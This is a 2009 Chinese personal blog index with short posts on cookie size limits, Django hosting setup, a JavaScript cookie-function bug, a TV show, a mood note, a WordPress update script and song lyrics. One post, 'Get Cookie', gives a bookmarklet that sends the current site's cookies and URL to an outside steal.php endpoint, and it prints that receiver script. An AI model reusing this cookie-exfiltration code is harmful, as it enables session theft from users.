Cookie整理

cookie最大4k,最多20个key-value对 参考: http://support.microsoft.com/kb/306070 每个 cookie 开头名称值对。 此对是并后跟零或者由分号分隔的多个属性-值对。 对于一个域名每个 cookie 被限制为 4,096 字节。 该总计可以存在的 4 千字节 (KB) 的一个名称-值对形式,或者为最多 20 个名称-值对的总的 4 KB。如果在计算机上没有足够空间来存储 Cookie,会丢弃该 Cookie。 将被截尾取不整。 应用程序应该使用尽可能少的 Cookie 尽可能和为小写 Cookie 尽可能。 此外,应用程序应能够处理 cookie 丢失。 ...

May 13, 2009 · notsobad

Django on londit

浪点空间上,使用django #获取django svn 版本: mkdir script && cd script svn co http://code.djangoproject.com/svn/django/trunk/ django-trunk mkdir django-project && cd django-project django-admin startproject notsobad 最后: 设置.htaccess SetHandler python-program PythonHandler django.core.handlers.modpython SetEnv DJANGO_SETTINGS_MODULE notsobad.settings PythonPath "['/home/virtualhost/lnotsoba/script/django-trunk','/home/virtualhost/lnotsoba/script/django-project']+sys.path" PythonDebug On 参考: http://www.londit.cn/FAQ/Python http://docs.djangoproject.com/en/dev/topics/install/

May 12, 2009 · notsobad

一个cookie的问题

Bug能藏多长时间? 如果一直没人注意,也许会一直生存下去…… 下面是一个设置cookie的函数, 今天才发现它居然有这么严重的bug,你能看出来吗? function setCookie (name, value) { //设置名称为name,值为value的Cookie var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : '/'; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; str = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); document.cookie = str; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start != -1) { c_start = c_start + c_name.length + 1; c_end = document.cookie.indexOf(";",c_start); if (c_end == -1) c_end = document.cookie.length; return unescape(document.cookie.substring(c_start,c_end)); } } return ""; } 问题在这里,绕了半天才想明白。 var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : ‘/’; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; 因为argc的取值是1,2,3… argv[]的key取值是0,1,2,3….. ...

May 11, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad

Joey

《Friends》结束后joey去拍了《Joey》….. Joey还是friends里的老样子,还是傻乎乎的,还是有总能泡到妞,还是friends里的生活,还是不停面试,笑料都差不多 百度贴吧里面可以看到,这里 imdb: http://www.imdb.com/title/tt0375355/ 好像只拍了两季,看了还可以。 ...

May 9, 2009 · notsobad

不想这样

两周年了,又一个两年,可是事情却记得很清楚,为什么忘不掉呢? 最近状态很差,上班,窩在在自己很不舒服的椅子上,对着刺眼的屏幕,眼睛酸痛,不时要柔一下,闭一会眼,难受。 现在真的是时候了,不想下一个两年还是这个样子。

May 8, 2009 · notsobad

Notsobad.cn is coming back

notsobad.cn,又回来了,希望这次可以做好 买的是浪点带shell的linux空间 接下来要做的事: 将code snipper从gae移到这里来 经常的更新blog 用django作一些小工具 wordpress的自动更新脚本: #!/bin/sh # update my blog from svn, and get the language pack blog=notsobad.cn/public_html/blog/ (cd $blog; svn up) ( cd $blog/wp-includes/languages/; rm zh_CN.*; wget http://svn.automattic.com/wordpress-i18n/zh_CN/tags/2.7/messages/zh_CN.mo; wget http://svn.automattic.com/wordpress-i18n/zh_CN/tags/2.7/messages/zh_CN.po; )

April 27, 2009 · notsobad

Thank you

Thank You My tea's gone cold, I'm wondering why I got out of bed at all the morning rain clouds up my window and I can't see at all And even if I could it'd all be grey, but your picture on my wall it reminds me that it's not so bad it's not so bad I drank too much last night, got bills to pay my head just feels in pain I missed the bus and there'll be hell today I'm late for work again and even if I'm there, they'll all imply that I might not last the day and then you call me and it's not so bad it's not so bad and I want to thank you for giving me the best day of my life Oh just to be with you is having the best day of my life Push the door, I'm home at last and I'm soaking through and through then you handed me a towel and all I see is you and even if my house falls down now, I wouldn't have a clue because you're near me and I want to thank you for giving me the best day of my life Oh just to be with you is having the best day of my life I want to thank you for giving me the best day of my life Oh just to be with you is having the best day of my life

April 27, 2009 · notsobad